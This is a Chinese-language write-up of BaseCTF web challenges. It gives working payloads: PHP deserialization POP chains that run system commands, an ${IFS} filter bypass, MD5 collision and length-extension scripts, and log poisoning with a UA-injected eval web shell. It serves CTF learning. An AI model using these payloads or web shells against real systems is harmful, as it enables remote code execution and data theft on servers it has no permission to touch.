BaseCTF-web-wp
BaseCTF-web
[Week2] ez_ser
源代码+poc
<?php
highlight_file(__FILE__);
error_reporting(0);
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;#3 chu0=new pwn()
}
}
class web {#5
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;#4 kw=new re()
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();#2 over=new Misc()
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");#1
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}
public function getflag() {
echo "you are over!";
}
}
$a=new web();
$a->kw=new re();
$a->kw->chu0=new pwn();
$a->kw->chu0->over=new Misc();
$a->kw->chu0->dusk="gods";
echo serialize($a)
?>
[Week2] 一起吃豆豆
f12查看源代码,找到一串base64字符串
context.fillText(_LIFE ? atob("QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==") : 'GAME OVER', this.x, this.y);
解码得到
BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}
[Week2] 你听不到我的声音
shell_exec函数没有回显,使用
记得改大小写加花括号BaseCTF{...}
反弹shell没成功,不知道什么原因
[Week2] RCEisamazingwithspace
只过滤了空格,用${IFS}代替即可
cat${IFS}/flag
[Week2] Really EZ POP
<?php
highlight_file(__FILE__);
class Sink
{
private $cmd = 'system("cat /flag");';#private
public function __toString()
{
eval($this->cmd);#1 $cmd为执行的命令
return '666';
}
}
class Shark
{
var $word ;#!!!private
public function __invoke()
{
echo 'Shark says:' . $this->word;#2 $word=new Sink()
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();#3 $animal=new Shark()
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;#4 $sea=new Sea()
}
}
if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}
$a=new Nature();
$a->sea=new Sea();
$a->sea->animal=new Shark();
$a->sea->animal->word=new Sink();
echo (serialize($a));
注意第二个private类型必须更改s:11:"%00Shark%00word";
payload:nature=O%3a6%3a"Nature"%3a1%3a{s%3a3%3a"sea"%3bO%3a3%3a"Sea"%3a1%3a{s%3a6%3a"animal"%3bO%3a5%3a"Shark"%3a1%3a{s%3a11%3a"%00Shark%00word"%3bO%3a4%3a"Sink"%3a1%3a{s%3a9%3a"%00Sink%00cmd"%3bs%3a20%3a"system("cat%20/flag")%3b"%3b}}}}
[Week2] 数学大师
先贴脚本
import requests
import re
import time
session = requests.Session()
session.cookies.set('PHPSESSID', 'rpskb0cmsdml473qgbumlau9gr') # 替换为实际的 cookie 名称和值
flag=0
while True:
# 1. 使用 requests 获取网页内容
url = 'http://challenge.basectf.fun:22057/' # 替换为目标网页的 URL
if flag == 0:
response = session.get(url)
html = response.text
print(html)
match = re.search(r'(\d+[\+\-×÷]\d+)', html)
if match:
expression = match.group(1) # 提取匹配的表达式
# 替换运算符为 Python 可识别的运算符
expression = expression.replace('×', '*').replace('÷', '//')
result = eval(expression) # 计算表达式
print(f"提取的表达式: {match.group(1)}")
print(f"计算结果: {result}")
if result is not None:
post_url = 'http://challenge.basectf.fun:22057/' # 替换为目标 POST URL
post_data = {'answer': result}
post_response = session.post(post_url, data=post_data)
# 输出响应
print(post_response.text)
flag = 1
match = re.search(r'(\d+[\+\-×÷]\d+)', post_response.text)
time.sleep(0.01)
else:
print("未找到表达式。")
注意几个点:使用session来记录会话,可以在浏览器控制台的应用找到
使用flag标签防止第二次循环多请求一次导致清零
[Week2] 所以你说你懂 MD5?
payload:
apple[]=1&banana[]=2&appple=QNKCDZO&bananana=240610708&apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&md5=156f8018c7da3674f6912c9e5ae2aaa5&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin
脚本md5.py
# -*- coding: utf-8 -*-
import my_md5
import sys
import six
import urllib
MD5_Hash = '739ba4f9b7df3a240bf5ea17c27f1827'
length = 96 # 将长度设置为96
text = 'admin'
s1 = eval('0x' + MD5_Hash[:8].decode('hex')[::-1].encode('hex'))
s2 = eval('0x' + MD5_Hash[8:16].decode('hex')[::-1].encode('hex'))
s3 = eval('0x' + MD5_Hash[16:24].decode('hex')[::-1].encode('hex'))
s4 = eval('0x' + MD5_Hash[24:32].decode('hex')[::-1].encode('hex'))
secret = "a" * length
# 计算填充
padding_length = 23
# 构建填充数据
test = secret + '\x80' + '\x00' * padding_length + '\x00\x03\x00\x00\x00\x00\x00\x00' + text
s = my_md5.deal_rawInputMsg(test)
r = my_md5.deal_rawInputMsg(secret)
inp = s[len(r):]
print('填充完的数据为:' + urllib.quote(test) + '\n')
print('----------------------------------------------------------')
print('扩充完的数据为(16进制):' + s)
print('----------------------------------------------------------')
print('截取最后分组的数据(16进制):' + inp)
print('----------------------------------------------------------')
print('最终填充结果为:' + bytes(test).encode('hex'))
print("填充后的md5为:" + my_md5.run_md5(s1, s2, s3, s4, inp))
my_md5.py!
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author:DshtAnger
# theory reference:
# blog:
# http://blog.csdn.net/adidala/article/details/28677393
# http://blog.csdn.net/forgotaboutgirl/article/details/7258109
# http://blog.sina.com.cn/s/blog_6fe0eb1901014cpl.html
# RFC1321:
# https://www.rfc-editor.org/rfc/pdfrfc/rfc1321.txt.pdf
##############################################################################
import sys
def genMsgLengthDescriptor(msg_bitsLenth):
'''
---args:
msg_bitsLenth : the bits length of raw message
--return:
16 hex-encoded string , i.e.64bits,8bytes which used to describe the bits length of raw message added after padding
'''
return __import__("struct").pack(">Q", msg_bitsLenth).encode("hex")
def reverse_hex_8bytes(hex_str):
'''
--args:
hex_str: a hex-encoded string with length 16 , i.e.8bytes
--return:
transform raw message descriptor to little-endian
'''
hex_str = "%016x" % int(hex_str, 16)
assert len(hex_str) == 16
return __import__("struct").pack("<Q", int(hex_str, 16)).encode("hex")
def reverse_hex_4bytes(hex_str):
'''
--args:
hex_str: a hex-encoded string with length 8 , i.e.4bytes
--return:
transform 4 bytes message block to little-endian
'''
hex_str = "%08x" % int(hex_str, 16)
assert len(hex_str) == 8
return __import__("struct").pack("<L", int(hex_str, 16)).encode("hex")
def deal_rawInputMsg(input_msg):
'''
--args:
input_msg : inputed a ascii-encoded string
--return:
a hex-encoded string which can be inputed to mathematical transformation function.
'''
ascii_list = [x.encode("hex") for x in input_msg]
length_msg_bytes = len(ascii_list)
length_msg_bits = len(ascii_list) * 8
# padding
ascii_list.append('80')
while (len(ascii_list) * 8 + 64) % 512 != 0:
ascii_list.append('00')
# add Descriptor
ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits)))
return "".join(ascii_list)
def getM16(hex_str, operatingBlockNum):
'''
--args:
hex_str : a hex-encoded string with length in integral multiple of 512bits
operatingBlockNum : message block number which is being operated , greater than 1
--return:
M : result of splited 64bytes into 4*16 message blocks with little-endian
'''
M = [int(reverse_hex_4bytes(hex_str[i:(i + 8)]), 16) for i in
xrange(128 * (operatingBlockNum - 1), 128 * operatingBlockNum, 8)]
return M
# 定义函数,用来产生常数T[i],常数有可能超过32位,同样需要&0xffffffff操作。注意返回的是十进制的数
def T(i):
result = (int(4294967296 * abs(__import__("math").sin(i)))) & 0xffffffff
return result
# 定义每轮中用到的函数
# RL为循环左移,注意左移之后可能会超过32位,所以要和0xffffffff做与运算,确保结果为32位
F = lambda x, y, z: ((x & y) | ((~x) & z))
G = lambda x, y, z: ((x & z) | (y & (~z)))
H = lambda x, y, z: (x ^ y ^ z)
I = lambda x, y, z: (y ^ (x | (~z)))
RL = L = lambda x, n: (((x << n) | (x >> (32 - n))) & (0xffffffff))
def FF(a, b, c, d, x, s, ac):
a = (a + F((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
a = RL((a), (s)) & 0xffffffff;
a = (a + b) & 0xffffffff
return a
def GG(a, b, c, d, x, s, ac):
a = (a + G((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
a = RL((a), (s)) & 0xffffffff;
a = (a + b) & 0xffffffff
return a
def HH(a, b, c, d, x, s, ac):
a = (a + H((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
a = RL((a), (s)) & 0xffffffff;
a = (a + b) & 0xffffffff
return a
def II(a, b, c, d, x, s, ac):
a = (a + I((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
a = RL((a), (s)) & 0xffffffff;
a = (a + b) & 0xffffffff
return a
def show_md5(A, B, C, D):
return "".join(["".join(__import__("re").findall(r"..", "%08x" % i)[::-1]) for i in (A, B, C, D)])
def run_md5(A=0x67452301, B=0xefcdab89, C=0x98badcfe, D=0x10325476, readyMsg=""):
a = A
b = B
c = C
d = D
for i in xrange(0, len(readyMsg) / 128):
M = getM16(readyMsg, i + 1)
for i in xrange(16):
exec "M" + str(i) + "=M[" + str(i) + "]"
# First round
a = FF(a, b, c, d, M0, 7, 0xd76aa478L)
d = FF(d, a, b, c, M1, 12, 0xe8c7b756L)
c = FF(c, d, a, b, M2, 17, 0x242070dbL)
b = FF(b, c, d, a, M3, 22, 0xc1bdceeeL)
a = FF(a, b, c, d, M4, 7, 0xf57c0fafL)
d = FF(d, a, b, c, M5, 12, 0x4787c62aL)
c = FF(c, d, a, b, M6, 17, 0xa8304613L)
b = FF(b, c, d, a, M7, 22, 0xfd469501L)
a = FF(a, b, c, d, M8, 7, 0x698098d8L)
d = FF(d, a, b, c, M9, 12, 0x8b44f7afL)
c = FF(c, d, a, b, M10, 17, 0xffff5bb1L)
b = FF(b, c, d, a, M11, 22, 0x895cd7beL)
a = FF(a, b, c, d, M12, 7, 0x6b901122L)
d = FF(d, a, b, c, M13, 12, 0xfd987193L)
c = FF(c, d, a, b, M14, 17, 0xa679438eL)
b = FF(b, c, d, a, M15, 22, 0x49b40821L)
# Second round
a = GG(a, b, c, d, M1, 5, 0xf61e2562L)
d = GG(d, a, b, c, M6, 9, 0xc040b340L)
c = GG(c, d, a, b, M11, 14, 0x265e5a51L)
b = GG(b, c, d, a, M0, 20, 0xe9b6c7aaL)
a = GG(a, b, c, d, M5, 5, 0xd62f105dL)
d = GG(d, a, b, c, M10, 9, 0x02441453L)
c = GG(c, d, a, b, M15, 14, 0xd8a1e681L)
b = GG(b, c, d, a, M4, 20, 0xe7d3fbc8L)
a = GG(a, b, c, d, M9, 5, 0x21e1cde6L)
d = GG(d, a, b, c, M14, 9, 0xc33707d6L)
c = GG(c, d, a, b, M3, 14, 0xf4d50d87L)
b = GG(b, c, d, a, M8, 20, 0x455a14edL)
a = GG(a, b, c, d, M13, 5, 0xa9e3e905L)
d = GG(d, a, b, c, M2, 9, 0xfcefa3f8L)
c = GG(c, d, a, b, M7, 14, 0x676f02d9L)
b = GG(b, c, d, a, M12, 20, 0x8d2a4c8aL)
# Third round
a = HH(a, b, c, d, M5, 4, 0xfffa3942L)
d = HH(d, a, b, c, M8, 11, 0x8771f681L)
c = HH(c, d, a, b, M11, 16, 0x6d9d6122L)
b = HH(b, c, d, a, M14, 23, 0xfde5380c)
a = HH(a, b, c, d, M1, 4, 0xa4beea44L)
d = HH(d, a, b, c, M4, 11, 0x4bdecfa9L)
c = HH(c, d, a, b, M7, 16, 0xf6bb4b60L)
b = HH(b, c, d, a, M10, 23, 0xbebfbc70L)
a = HH(a, b, c, d, M13, 4, 0x289b7ec6L)
d = HH(d, a, b, c, M0, 11, 0xeaa127faL)
c = HH(c, d, a, b, M3, 16, 0xd4ef3085L)
b = HH(b, c, d, a, M6, 23, 0x04881d05L)
a = HH(a, b, c, d, M9, 4, 0xd9d4d039L)
d = HH(d, a, b, c, M12, 11, 0xe6db99e5L)
c = HH(c, d, a, b, M15, 16, 0x1fa27cf8L)
b = HH(b, c, d, a, M2, 23, 0xc4ac5665L)
# Fourth round
a = II(a, b, c, d, M0, 6, 0xf4292244L)
d = II(d, a, b, c, M7, 10, 0x432aff97L)
c = II(c, d, a, b, M14, 15, 0xab9423a7L)
b = II(b, c, d, a, M5, 21, 0xfc93a039L)
a = II(a, b, c, d, M12, 6, 0x655b59c3L)
d = II(d, a, b, c, M3, 10, 0x8f0ccc92L)
c = II(c, d, a, b, M10, 15, 0xffeff47dL)
b = II(b, c, d, a, M1, 21, 0x85845dd1L)
a = II(a, b, c, d, M8, 6, 0x6fa87e4fL)
d = II(d, a, b, c, M15, 10, 0xfe2ce6e0L)
c = II(c, d, a, b, M6, 15, 0xa3014314L)
b = II(b, c, d, a, M13, 21, 0x4e0811a1L)
a = II(a, b, c, d, M4, 6, 0xf7537e82L)
d = II(d, a, b, c, M11, 10, 0xbd3af235L)
c = II(c, d, a, b, M2, 15, 0x2ad7d2bbL)
b = II(b, c, d, a, M9, 21, 0xeb86d391L)
A += a
B += b
C += c
D += d
A = A & 0xffffffff
B = B & 0xffffffff
C = C & 0xffffffff
D = D & 0xffffffff
a = A
b = B
c = C
d = D
print "%x,%x,%x,%x" % (a, b, c, d)
return show_md5(a, b, c, d)
md5长度扩展攻击见https://zu1k.com/posts/security/crypto/md5-hash-length-extension-attack/#%E7%AC%AC%E4%BA%8C%E6%AD%A5%E8%AE%B0%E5%BD%95%E4%BF%A1%E6%81%AF%E9%95%BF%E5%BA%A6
[Week3] ez_php_jail
当 php 版本⼩于 8 时,GET 请求的参数名含有 .
,会被转为 _
,但是如果参数名中有 [
,这
个 [
会被直接转为_
,但是后⾯如果有 .
,这个 . 就不会被转为_
。
过滤了
/(`|\$|a|c|s|require|include)/i
highlight_file('/f*');#highlight_file读取文件
https://www.freebuf.com/articles/web/319567.html
但是上面的读取方法是无效的,引用gpt的回答
highlight_file('/f'); 和highlight_file(glob("/f")[0]); 都能读取文件吗?
在 PHP 中,highlight_file
函数用于高亮显示指定文件的内容。你提到的两种用法都可以读取文件,但它们的工作方式略有不同。
1. highlight_file('/f*')
这个用法是直接传递一个字符串 '/f*'
给 highlight_file
。然而,这种用法是无效的,因为 highlight_file
需要一个具体的文件路径,而不是一个模式。'/f*'
只是一个模式,PHP 不会将其解析为文件路径。因此,这种用法会导致错误。
2. highlight_file(glob("/f*")[0])
这个用法是有效的。这里的 glob("/f*")
会返回一个数组,包含所有匹配 /f*
模式的文件路径。[0]
取数组中的第一个元素(即第一个匹配的文件路径),然后将其传递给 highlight_file
。如果存在匹配的文件,这种用法将成功读取并高亮显示该文件的内容。
[Week3] 滤个不停
先贴源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];
if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}
//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;
foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}
if ($is_valid) {
$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];
foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}
include($Datch);
} else {
die('文件名不合规 请重试');
}
?>
过滤了所有伪协议,可以采用包含日志的方法
包含Apache、nginx日志文件
默认nginx的日志路径为 /var/log/nginx/access.log
默认apache/var/log/apache2/access.log
/var/log/apache2/access.log
或者通过phpinfo()查看
在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log
直接访问127.0.0.1/<?php phpinfo();>,服务器的日志文件就会解析出这个url,但是被url编码,所以用burpsuite拦截一下更改成未编码的语句
之后通过访问日志文件的位置,执行php代码
注意:如果是UA头注入代码,必须一次写对,如果出错,文件包含执行的时候会报fatal error不再向下解析后续再写入的php代码(环境被污染)
php
?file=../../../../../../var/log/nginx/access.log
UA:<?php eval($_POST[1]);?>
post:1=system('tac /f*');
修改UA进不去的时候试试burp发包
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通